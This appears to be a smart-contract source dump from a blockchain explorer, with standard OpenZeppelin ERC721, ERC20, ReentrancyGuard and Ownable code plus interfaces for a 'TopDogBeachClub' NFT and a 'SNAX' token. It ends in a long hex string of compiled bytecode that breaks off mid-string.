returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; interface ITopDogBeachClub is IERC721Enumerable { function getBirthday(uint256 tokenId) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISNAXToken is IERC20 { function totalAccumulated(uint256[] memory tokenIds) external view returns (uint256); }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c8063649a149c1161011a57806397e9664c116100ad578063c87b56dd1161007c578063c87b56dd146105fb578063e381d46a1461062b578063e985e9c514610635578063f2fde38b14610665578063f5dbbbdf1461068157610206565b806397e9664c1461059b578063a22cb465146105a5578063a667d9c8146105c1578063b88d4fde146105df57610206565b806370a08231116100e957806370a0823114610525578063715018a6146105555780638da5cb5b1461055f57806395d89b411461057d57610206565b8063649a149c1461048b57806369251f82146104a75780636fbd4087146104d75780637005e9d1146104f557610206565b80632f745c591161019d5780634ba00fed1161016c5780634ba00fed146103c35780634f6ccce7146103df57806359dd283d1461040f5780635ee0c6031461042b5780636352211e1461045b57610206565b80632f745c591461033f57806330176e131461036f57806342842e0e1461038b57806344175527146103a757610206565b80630f073b27116101d95780630f073b27146102a5578063150b7a02146102d557806318160ddd1461030557806323b872dd1461032357610206565b806301ffc9a71461020b57806306fdde031461023b578063081812fc14610259578063095ea7b314610289575b600080fd5b61022560048036038101906102209190613a7f565b61068b565b6040516102329190614732565b60405180910390f35b610243610705565b6040516102509190614768565b60405180910390f35b610273600480360381019061026e9190613b12565b610797565b6040516102809190614672565b60405180910390f35b6102a3600480360381019061029e91906139c1565b61081c565b005b6102bf60048036038101906102ba9190613b12565b610934565b6040516102cc9190614b0a565b60405180910390f35b6102ef60048036038101906102ea919061390a565b610954565b6040516102fc919061474d565b60405180910390f35b61030d610968565b60405161031a9190614b0a565b60405180910390f35b61033d600480360381019061033891906138bb565b610975565b005b610359600480360381019061035491906139c1565b6109d5565b6040516103669190614b0a565b60405180910390f35b61038960048036038101906103849190613ad1565b610a7a565b005b6103a560048036038101906103a091906138bb565b610b10565b005b6103c160048036038101906103bc91906139fd565b610b30565b005b6103dd60048036038101906103d89190613b12565b610c9d565b005b6103f960048036038101906103f49190613b12565b610ea5565b6040516104069190614b0a565b60405180910390f35b61042960048036038101906104249190613a3e565b610f3c565b005b6104456004803603810190610440919061382d565b611329565b6040516104529190614732565b60405180910390f35b61047560048036038101906104709190613b12565b6113f2565b6040516104829190614672565b60405180910390f35b6104a560048036038101906104a09190613a3e565b6114a4565b005b6104c160048036038101906104bc919061382d565b611611565b6040516104ce9190614b0a565b60405180910390f35b6104df61165a565b6040516104ec9190614732565b60405180910390f35b61050f600480360381019061050a9190613b12565b611671565b60405161051c9190614732565b60405180910390f35b61053f600480360381019061053a919061382d565b61169e565b60405161054c9190614b0a565b60405180910390f35b61055d611756565b005b6105676117de565b6040516105749190614672565b60405180910390f35b610585611808565b6040516105929190614768565b60405180910390f35b6105a361189a565b005b6105bf60048036038101906105ba9190613985565b611942565b005b6105c9611ac3565b6040516105d69190614732565b60405180910390f35b6105f960048036038101906105f4919061390a565b611ada565b005b61061560048036038101906106109190613b12565b611b3c565b6040516106229190614768565b60405180910390f35b610633611be3565b005b61064f600480360381019061064a919061387f565b611cda565b60405161065c9190614732565b60405180910390f35b61067f600480360381019061067a919061382d565b611d6e565b005b610689611e66565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106fe57506106fd82611f24565b5b9050919050565b60606000805461071490614dfb565b80601f016020809104026020016040519081016040528092919081815260200182805461074090614dfb565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107a282612006565b6107e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d8906149aa565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610827826113f2565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f90614a4a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108b7612072565b73ffffffffffffffffffffffffffffffffffffffff1614806108e657506108e5816108e0612072565b611cda565b5b610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c906148ea565b60405180910390fd5b61092f838361207a565b505050565b6000600f6000838152602001908152602001600020600101549050919050565b600063150b7a0260e01b9050949350505050565b6000600880549050905090565b610986610980612072565b82612133565b6109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90614a6a565b60405180910390fd5b6109d0838383612211565b505050565b60006109e08361169e565b8210610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a189061478a565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610a82612072565b73ffffffffffffffffffffffffffffffffffffffff16610aa06117de565b73ffffffffffffffffffffffffffffffffffffffff1614610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed906149ca565b60405180910390fd5b80600c9080519060200190610b0c9291906134fb565b5050565b610b2b83838360405180602001604052806000815250611ada565b505050565b610b38612072565b73ffffffffffffffffffffffffffffffffffffffff16610b566117de565b73ffffffffffffffffffffffffffffffffffffffff1614610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba3906149ca565b60405180910390fd5b60005b8151811015610c9957600160116000848481518110610bf7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836002811115610c81577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055508080610c9190614e2d565b915050610baf565b5050565b610ca5612072565b73ffffffffffffffffffffffffffffffffffffffff16610cc36117de565b73ffffffffffffffffffffffffffffffffffffffff1614610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d10906149ca565b60405180910390fd5b600f600082815260200190815260200160002060020160009054906101000a900460ff16610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7390614aea565b60405180910390fd5b6000600f600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e3083856040518463ffffffff1660e01b8152600401610e169392919061468d565b600060405180830381600087803b158015610e3057600080fd5b505af1158015610e44573d6000803e3d6000fd5b50505050600f6000838152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160006101000a81549060ff021916905550505050565b6000610eaf610968565b8210610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790614a8a565b60405180910390fd5b60088281548110610f2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b6002600b541415610f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7990614aaa565b60405180910390fd5b6002600b81905550600e60159054906101000a900460ff16610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090614aca565b60405180910390fd5b6101f48151610fe6610968565b610ff09190614c8a565b1115611031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611028906148ca565b60405180910390fd5b60028081111561106a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660028111156110ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415611130576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111279061484a565b60405180910390fd5b6001600281111561116a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660028111156111ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061482a565b60405180910390fd5b6001815161123c3361169e565b6112469190614c8a565b1115611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e9061498a565b60405180910390fd5b6112908161246d565b6002601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836002811115611319577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b02179055506001600b8190555050565b6000806002811115611364577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660028111156113e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b14159050919050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114929061492a565b60405180910390fd5b80915050919050565b6002600b5414156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190614aaa565b60405180910390fd5b6002600b81905550600e60149054906101000a900460ff16611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890614aca565b60405180910390fd5b6101f4815161154e610968565b6115589190614c8a565b1115611599576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611590906148ca565b60405180910390fd5b600360016115a79190614c8a565b81516115b23361169e565b6115bc9190614c8a565b11156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f49061498a565b60405180910390fd5b6116068161246d565b6001600b8190555050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e60159054906101000a900460ff16905090565b6000600f600083815260200190815260200160002060020160009054906101000a900460ff169050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117069061490a565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61175e612072565b73ffffffffffffffffffffffffffffffffffffffff1661177c6117de565b73ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906149ca565b60405180910390fd5b6117dc60006124e8565b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461181790614dfb565b80601f016020809104026020016040519081016040528092919081815260200182805461184390614dfb565b80156118905780601f1061186557610100808354040283529160200191611890565b820191906000526020600020905b81548152906001019060200180831161187357829003601f168201915b5050505050905090565b6118a2612072565b73ffffffffffffffffffffffffffffffffffffffff166118c06117de565b73ffffffffffffffffffffffffffffffffffffffff1614611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d906149ca565b60405180910390fd5b600e60159054906101000a900460ff1615600e60156101000a81548160ff021916908315150217905550565b61194a612072565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af9061488a565b60405180910390fd5b80600560006119c5612072565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611a72612072565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611ab79190614732565b60405180910390a35050565b6000600e60149054906101000a900460ff16905090565b611aeb611ae5612072565b83612133565b611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2190614a6a565b60405180910390fd5b611b36848484846125ae565b50505050565b6060611b4782612006565b611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d90614a0a565b60405180910390fd5b6000611b9061260a565b90506000815111611bb05760405180602001604052806000815250611bdb565b80611bba8461269c565b604051602001611bcb92919061464e565b6040516020818303038152906040525b915050919050565b611beb612072565b73ffffffffffffffffffffffffffffffffffffffff16611c096117de565b73ffffffffffffffffffffffffffffffffffffffff1614611c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c56906149ca565b60405180910390fd5b600e60159054906101000a900460ff16611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca5906147ca565b60405180910390fd5b600e60149054906101000a900460ff1615600e60146101000a81548160ff021916908315150217905550565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611d76612072565b73ffffffffffffffffffffffffffffffffffffffff16611d946117de565b73ffffffffffffffffffffffffffffffffffffffff1614611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de1906149ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e51906147ea565b60405180910390fd5b611e63816124e8565b50565b611e6e612072565b73ffffffffffffffffffffffffffffffffffffffff16611e8c6117de565b73ffffffffffffffffffffffffffffffffffffffff1614611ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed9906149ca565b60405180910390fd5b611f027303f58f0cc44be4abc68b2df93c58514bb1196dc361157c612849565b611f2273ac05f9f58e873222cae11661a29743371f6d1f6c610c22612849565b565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611fef57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611fff5750611ffe82612867565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166120ed836113f2565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061213e82612006565b61217d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612174906148aa565b60405180910390fd5b6000612188836113f2565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806121f757508373ffffffffffffffffffffffffffffffffffffffff166121df84610797565b73ffffffffffffffffffffffffffffffffffffffff16145b8061220857506122078185611cda565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612231826113f2565b73ffffffffffffffffffffffffffffffffffffffff1614612287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227e906149ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ee9061486a565b60405180910390fd5b6123028383836128d1565b61230d60008261207a565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461235d9190614d11565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123b49190614c8a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60005b81518110156124db5760008282815181106124b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506124c7816129e5565b5080806124d390614e2d565b915050612470565b506124e581612cba565b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6125b9848484612211565b6125c584848484612dab565b612604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fb906147aa565b60405180910390fd5b50505050565b6060600c805461261990614dfb565b80601f016020809104026020016040519081016040528092919081815260200182805461264590614dfb565b80156126925780601f1061266757610100808354040283529160200191612692565b820191906000526020600020905b81548152906001019060200180831161267557829003601f168201915b5050505050905090565b606060008214156126e4576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612844565b600082905060005b600082146127165780806126ff90614e2d565b915050600a8261270f9190614ce0565b91506126ec565b60008167ffffffffffffffff811115612758577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561278a5781602001600182028036833780820191505090505b5090505b6000851461283d576001826127a39190614d11565b9150600a856127b29190614e76565b60306127be9190614c8a565b60f81b8183815181106127fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856128369190614ce0565b945061278e565b8093505050505b919050565b612863828260405180602001604052806000815250612f42565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6128dc838383612f9d565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561291f5761291a81612fa2565b61295e565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461295d5761295c8382612feb565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129a15761299c81613158565b6129e0565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146129df576129de828261329b565b5b5b505050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff